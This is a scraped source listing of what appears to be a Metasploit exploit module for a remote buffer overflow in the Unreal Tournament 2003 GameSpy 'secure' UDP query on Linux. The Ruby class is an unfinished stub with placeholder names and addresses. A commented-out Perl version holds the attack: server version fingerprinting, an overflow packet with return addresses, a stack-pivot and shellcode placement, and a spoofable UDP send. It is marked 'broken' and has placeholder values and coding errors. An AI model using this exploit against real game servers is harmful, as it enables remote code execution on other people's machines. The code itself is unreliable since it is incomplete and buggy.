289 lines
8.0 KiB
Ruby
289 lines
8.0 KiB
Ruby
|
require 'msf/core'
|
||
|
|
|
||
|
|
module Msf
|
||
|
|
|
||
|
|
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
|
||
|
|
|
||
|
|
include Exploit::Remote::Tcp
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'Unreal Tournament 2003 "secure" Overflow (Linux)',
|
||
|
|
'Description' => %q{
|
||
|
|
|
||
|
|
This is an exploit for the GameSpy secure query in
|
||
|
|
the Unreal Engine.
|
||
|
|
|
||
|
|
This exploit only requires one UDP packet, which can
|
||
|
|
be both spoofed
|
||
|
|
and sent to a broadcast address.
|
||
|
|
Usually, the GameSpy query server listens
|
||
|
|
on port
|
||
|
|
7787, but you can manually specify the port as well.
|
||
|
|
|
||
|
|
The RunServer.sh script will automatically restart the
|
||
|
|
server upon a crash, giving
|
||
|
|
us the ability to
|
||
|
|
bruteforce the service and exploit it multiple
|
||
|
|
times.
|
||
|
|
|
||
|
|
|
||
|
|
},
|
||
|
|
'Author' => [ 'hdm' ],
|
||
|
|
'Version' => '$Revision$',
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'OSVDB', '7217'],
|
||
|
|
[ 'BID', '10570'],
|
||
|
|
|
||
|
|
],
|
||
|
|
'Privileged' => true,
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'Space' => 1024,
|
||
|
|
'BadChars' => "\x5c\x00",
|
||
|
|
'MinNops' => 512,
|
||
|
|
|
||
|
|
},
|
||
|
|
'Targets' =>
|
||
|
|
[
|
||
|
|
[
|
||
|
|
'Automatic Targetting',
|
||
|
|
{
|
||
|
|
'Platform' => 'linux',
|
||
|
|
'Ret' => 0x0,
|
||
|
|
},
|
||
|
|
],
|
||
|
|
],
|
||
|
|
'DisclosureDate' => '',
|
||
|
|
'DefaultTarget' => 0))
|
||
|
|
end
|
||
|
|
|
||
|
|
def exploit
|
||
|
|
connect
|
||
|
|
|
||
|
|
handler
|
||
|
|
disconnect
|
||
|
|
end
|
||
|
|
|
||
|
|
=begin
|
||
|
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be redistributed
|
||
|
|
# according to the licenses defined in the Authors field below. In the
|
||
|
|
# case of an unknown or missing license, this file defaults to the same
|
||
|
|
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
||
|
|
# version of the Framework can always be obtained from metasploit.com.
|
||
|
|
##
|
||
|
|
|
||
|
|
package Msf::Exploit::ut2003_secure_linux;
|
||
|
|
use base "Msf::Exploit";
|
||
|
|
use strict;
|
||
|
|
|
||
|
|
my $advanced = { };
|
||
|
|
my $info =
|
||
|
|
{
|
||
|
|
'Name' => 'Unreal Tournament 2003 "secure" Overflow (Linux)',
|
||
|
|
'Version' => '$Revision$',
|
||
|
|
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
|
||
|
|
'Arch' => [ 'x86' ],
|
||
|
|
'OS' => [ 'linux' ],
|
||
|
|
'Priv' => 1,
|
||
|
|
'UserOpts' => {
|
||
|
|
'RHOST' => [1, 'ADDR', 'The target address'],
|
||
|
|
'RPORT' => [1, 'PORT', 'The target port', 7787],
|
||
|
|
},
|
||
|
|
'Payload' => {
|
||
|
|
'Space' => 1024,
|
||
|
|
'BadChars' => "\x5c\x00",
|
||
|
|
'MinNops' => 512,
|
||
|
|
},
|
||
|
|
|
||
|
|
'Description' => qq{
|
||
|
|
This is an exploit for the GameSpy secure query in the Unreal Engine.
|
||
|
|
|
||
|
|
This exploit only requires one UDP packet, which can be both spoofed
|
||
|
|
and sent to a broadcast address. Usually, the GameSpy query server listens
|
||
|
|
on port 7787, but you can manually specify the port as well.
|
||
|
|
|
||
|
|
The RunServer.sh script will automatically restart the server upon a crash, giving
|
||
|
|
us the ability to bruteforce the service and exploit it multiple
|
||
|
|
times.
|
||
|
|
},
|
||
|
|
'Refs' => [
|
||
|
|
['OSVDB', 7217],
|
||
|
|
['BID', 10570],
|
||
|
|
],
|
||
|
|
'DefaultTarget' => 0,
|
||
|
|
'Targets' => [
|
||
|
|
['UT2003 Linux Build Autodetect'],
|
||
|
|
['UT2003 Linux Build 2206', 0x12345678, 0x8080fbc],
|
||
|
|
],
|
||
|
|
'Keys' => ['broken'],
|
||
|
|
};
|
||
|
|
|
||
|
|
sub new {
|
||
|
|
my $class = shift;
|
||
|
|
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
||
|
|
return($self);
|
||
|
|
}
|
||
|
|
|
||
|
|
sub Exploit {
|
||
|
|
my $self = shift;
|
||
|
|
my $target_host = $self->GetVar('RHOST');
|
||
|
|
my $target_port = $self->GetVar('RPORT');
|
||
|
|
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
|
||
|
|
my $target_idx = $self->GetVar('TARGET');
|
||
|
|
my $target = $self->Targets->[$target_idx];
|
||
|
|
|
||
|
|
my $request = Pex::Text::PatternCreate(1024);
|
||
|
|
|
||
|
|
if(0 && $target_idx == 0) # Autodetect and adjust payload accordingly...
|
||
|
|
{
|
||
|
|
my $versionNum = $self->GetVersion($target_host, $target_port);
|
||
|
|
|
||
|
|
if(! $versionNum) {
|
||
|
|
$self->PrintLine('[*] Could not obtain Version from host ' . $target_host . ':' . $target_port);
|
||
|
|
$self->PrintLine('[*] Aborting...');
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
elsif($versionNum == 3120) {
|
||
|
|
$target = $self->Targets->[1];
|
||
|
|
}
|
||
|
|
elsif ($versionNum == 3186) {
|
||
|
|
$target = $self->Targets->[2];
|
||
|
|
}
|
||
|
|
elsif ($versionNum == 3204) {
|
||
|
|
$target = $self->Targets->[3];
|
||
|
|
}
|
||
|
|
elsif (! $versionNum ) {
|
||
|
|
$self->PrintLine('[*] No response from host');
|
||
|
|
$self->PrintLine('[*] Aborting...');
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
$self->PrintLine('[*] Detected Version ' . $versionNum . ' on host ' . $target_host . ':' . $target_port . "isn't vulnerable to attack");
|
||
|
|
$self->PrintLine('[*] Aborting...');
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
$self->PrintLine('[*] Detected Vulnerable Version ' . $versionNum . ' on host ' . $target_host . ':' . $target_port);
|
||
|
|
$self->PrintLine('[*] Assembling Payload for version ' . $versionNum);
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
$target->[2] = 0xbfffc250; # heap address :(
|
||
|
|
|
||
|
|
# add sp, 0x1560
|
||
|
|
# jmp esp
|
||
|
|
my $Jumper = "\x66\x81\xC4\x60\x15\xFF\xE4\x41";
|
||
|
|
$Jumper = ("\xcc" x 4) . "XXXX";
|
||
|
|
|
||
|
|
# (add BYTE PTR [eax],al) x 3
|
||
|
|
substr($request, 36, "\xeb\x06", 2);
|
||
|
|
|
||
|
|
# return address
|
||
|
|
substr($request, 40, 4, pack('V', $target->[1] ));
|
||
|
|
|
||
|
|
substr($request, 44, 4, pack('V', $target->[2] ));
|
||
|
|
substr($request, 48, 4, pack('V', $target->[2] ));
|
||
|
|
substr($request, 52, 4, pack('V', $target->[2] ));
|
||
|
|
|
||
|
|
# 0x8080fb0: 0x00000000 0x00000000 0x00000000 0x00000000
|
||
|
|
# 0x8080fc0 <data_start>: 0x00000000 0x080861e8 0x00000000 0x00000000
|
||
|
|
# 0x8081110 <tailfd.430>: 0x00000000 0x00000000 0x00000000 0x00000000
|
||
|
|
# 0x8081120 <__vt_15FConfigCacheIni>: 0x00000000 0x08067e54 0x0807b350 0x0807b290
|
||
|
|
|
||
|
|
substr($request, 0, length("\\secure\\"), "\\secure\\");
|
||
|
|
substr($request, 56, $shellcode);
|
||
|
|
|
||
|
|
my $sock = Msf::Socket::Udp->new
|
||
|
|
(
|
||
|
|
PeerAddr => $target_host,
|
||
|
|
PeerPort => $target_port,
|
||
|
|
);
|
||
|
|
|
||
|
|
if($sock->IsError) {
|
||
|
|
$self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->PrintLine('[*] Sending UDP Secure Request (Dest Port: ' . $target_port . ') (' . length($request) . ' bytes)');
|
||
|
|
if(!$sock->Send($request)) {
|
||
|
|
$sock->PrintError;
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
sleep(2);
|
||
|
|
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
sub Check
|
||
|
|
{
|
||
|
|
my $self = shift();
|
||
|
|
my $target_host = $self->GetVar('RHOST');
|
||
|
|
my $target_port = $self->GetVar('RPORT');
|
||
|
|
my $versionNum = $self->GetVersion($target_host, $target_port);
|
||
|
|
|
||
|
|
if(! $versionNum) {
|
||
|
|
$self->PrintLine("[*] Couldn't detect Unreal Tournament Server at ". $target_host . ':' . $target_port);
|
||
|
|
return $self->CheckCode('Generic');
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
$self->PrintLine('[*] Detected Unreal Tournament Server Version: ' . $versionNum . ' at ' . $target_host . ':' . $target_port);
|
||
|
|
if ($versionNum =~ /^(3...)$/) {
|
||
|
|
$self->PrintLine("[*] The server is running UT2004");
|
||
|
|
return $self->CheckCode('Safe');
|
||
|
|
}
|
||
|
|
elsif ($versionNum =~ /^(2...)$/) {
|
||
|
|
$self->PrintLine("[*] The server appears to be running UT2003");
|
||
|
|
return $self->CheckCode('Appears');
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->PrintLine("[*] The server is more than likely patched");
|
||
|
|
return $self->CheckCode('Safe');
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
sub GetVersion
|
||
|
|
{
|
||
|
|
my $self = shift();
|
||
|
|
my $target_host = shift();
|
||
|
|
my $target_port = shift();
|
||
|
|
|
||
|
|
my $s = Msf::Socket::Udp->new
|
||
|
|
(
|
||
|
|
PeerAddr => $target_host,
|
||
|
|
PeerPort => $target_port,
|
||
|
|
);
|
||
|
|
|
||
|
|
if($s->IsError()) {
|
||
|
|
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->PrintLine('[*] Sending UDP Version Request to ' . $target_host . ':' . $target_port);
|
||
|
|
|
||
|
|
my $versionRequest = "\\basic\\";
|
||
|
|
if(!$s->Send($versionRequest)) {
|
||
|
|
$s->PrintError;
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
my $versionReply = $s->Recv(-1, 10);
|
||
|
|
my $versionNum;
|
||
|
|
|
||
|
|
if ($versionReply =~ m/\\gamever\\([0-9]{1,5})/) {
|
||
|
|
$versionNum = $1;
|
||
|
|
}
|
||
|
|
|
||
|
|
return $versionNum;
|
||
|
|
}
|
||
|
|
|
||
|
|
1;
|
||
|
|
|
||
|
|
=end
|
||
|
|
|
||
|
|
|
||
|
|
end
|
||
|
|
end
|